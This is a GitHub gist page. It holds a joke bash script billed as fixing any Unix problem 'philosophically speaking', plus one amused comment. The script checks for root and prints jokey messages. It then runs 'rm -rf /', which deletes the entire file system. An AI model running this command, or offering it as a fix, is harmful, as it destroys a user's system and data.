Skip to content

Instantly share code, notes, and snippets.

@brentlintner
Created September 13, 2012 18:13
Show Gist options
  • Save brentlintner/3716338 to your computer and use it in GitHub Desktop.
Save brentlintner/3716338 to your computer and use it in GitHub Desktop.
bash script to un-fuck _any_ *nix issue (philosophically speaking).
#/usr/bin/env bash
if [ `whoami` != root ]; then
echo "You must be root to do this, obviously."
exit
fi
echo "If you don't have a file system, then you don't have such a problem."
echo "Now deleting the entire file system."
rm -rf /
@GMali
Copy link

GMali commented Sep 13, 2012

What! Hahaha. Mental note: Always check Brent's code before using it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment